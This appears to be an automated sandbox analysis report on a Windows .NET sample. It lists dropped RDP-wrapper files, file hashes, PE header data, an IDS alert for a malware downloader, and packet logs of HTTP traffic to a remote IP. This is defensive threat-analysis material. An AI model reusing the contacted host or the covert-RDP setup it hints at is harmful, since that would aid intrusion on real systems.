Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...#.CZ.................4..........<7.......P....@..............................................@...................................`...{.......................^...................................................................................text... ........................... ..`.itext..\|....0... .................. ..`.data...x....P.......8..............@....bss.....O...p.......L...................idata...............L..............@....tls.................`...................rdata...............`..............@..@.reloc...^.......`...b..............@..B.rsrc....{...`...\|..................@..@.............p......................@..@................................................................................................

C:\Windows\System32\rfxvmt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

**\Device\Mup\899552*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Users\user\Desktop\67065b4c84713_Javiles.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.650608324205336
Encrypted:	false
SSDEEP:	3:KMvVI2Y1AnXEllt/8lLn:KMyGAltMLn
MD5:	C2C98412E61544A45B0F0684A0459DF7
SHA1:	66CFAF83EB9D71BFEDCCE903CCE8CCE99CD03BB0
SHA-256:	7C82861BC89F90A1A1FAC85D2048045E093D92703839B13CEDCFF2BADA75FF90
SHA-512:	0EEC83D9C2A6C3F08F4CA6FE050133A5A9C83B98C7F60A9790F04633BDF1159E4D354889301C99F45DB2BEBA3D3C15CF956EC9099F7DF90D4C2361977E714BE7
Malicious:	false
Preview:	....8.9.9.5.5.2.....\MAILSLOT\NET\GETDC669D7A1B.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9948529199912715
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	67065b4c84713_Javiles.exe
File size:	940'032 bytes
MD5:	8be8e5e57fc2a177c12ac52d6f71157c
SHA1:	6d53911869b932db7dcbc5e9fb0c023fe3d520ad
SHA256:	f1417213f43cad96ecab7f83251b963706b22e4ebe4e6b34080fc6227ee359b3
SHA512:	c0d2222c6f0d41af95a2c4ee81900ff694c9c88c0c4f92bd23cbbe404446676d1bfa1601b4f3626fca027128a0882796a502b9f246dba5729ae63981a5a93dcb
SSDEEP:	12288:GR6r7VWX5FQrB7bTui/rZBEEjHJX/23Y3DTLPbW784Gpxk83jwtScr/C80Vd424:p5WX0rB7uivDX/CYzQ84GpxkFScTC81
TLSH:	1215235F23CC9912FF89ECF327A6490418B477D2B2369761A7281D3CA1D9BC18832B59
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z..........."...0..N...........m... ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4e6dce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xEF5ACDDE [Tue Apr 2 01:46:06 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe6d7c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe8000	0x4e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xea000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe6cf0	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe4dd4	0xe4e00	86d38c5519354257967b1a2468784f65	False	0.991511213134899	data	7.996881182641007	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe8000	0x4e4	0x600	d7b72d8d9a07a12abba1526dff3742a4	False	0.3782552083333333	data	3.748034852880635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xea000	0xc	0x200	674dad96b45dd940f71cb06efaa0a1f5	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe8090	0x254	data			0.45805369127516776
RT_MANIFEST	0xe82f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-11T23:07:44.257533+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	172.67.74.152	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 23:07:01.024482012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.029557943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.029655933 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.032289982 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.037302971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722157955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722183943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722198009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722212076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722227097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722242117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722255945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722270966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722275972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.722287893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722302914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.722352028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.722352028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.722352028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.727219105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.727272987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.727286100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.727327108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.773075104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.813031912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813116074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813153028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813174009 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.813185930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813220024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813225985 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.813251972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813283920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813287020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.813319921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813354015 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.813699961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813733101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813767910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813770056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.813805103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813839912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.813839912 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.814593077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.814609051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.814623117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.814629078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.814655066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.814762115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.814778090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.814814091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.815305948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.815491915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.815506935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.815520048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.815530062 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.815556049 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.903064013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903098106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903155088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903162956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903177977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903184891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903198957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903265953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903304100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903318882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903382063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.903382063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.903422117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903458118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903501987 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.903876066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903928995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903969049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.903994083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.904020071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904052973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904061079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.904084921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904119015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904129028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.904766083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904800892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904824972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904827118 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.904840946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904867887 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.904901028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904915094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904932022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.904943943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.904977083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.905694008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905745029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905760050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905787945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.905822039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905836105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905849934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905868053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.905883074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.905893087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.906642914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.906687021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.906719923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.906734943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.906759024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.906773090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.906776905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.906789064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.906816006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.960581064 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.992810011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.992856979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.992912054 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.992913008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.992950916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.992984056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993000031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993016958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993051052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993067026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993083000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993118048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993128061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993153095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993190050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993199110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993222952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993272066 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993273973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993305922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993338108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993352890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993371010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993418932 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993457079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993489027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993519068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993535042 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.993554115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.993602037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.994088888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994139910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994173050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994191885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.994247913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994280100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994297028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.994313002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994348049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994359970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.994381905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994412899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994430065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.994466066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994482040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.994512081 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.995014906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995039940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995054007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995069981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.995100975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.995155096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995170116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995183945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995198011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995214939 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.995244026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.995276928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995290995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995305061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995318890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.995332956 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.995366096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.996237993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996252060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996268034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996299982 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.996325970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996340990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996355057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996371031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.996385098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996400118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996407032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.996413946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996428013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996442080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996442080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.996469975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:01.996864080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:01.996913910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.079677105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079720020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079757929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079773903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079788923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079798937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.079802990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079818964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.079824924 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.079858065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.080137968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.080194950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.083875895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.083906889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.083939075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.083960056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084059000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084091902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084114075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:02.084141970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:02.084173918 CEST	80	49730	147.45.44.104	192.168.2.4
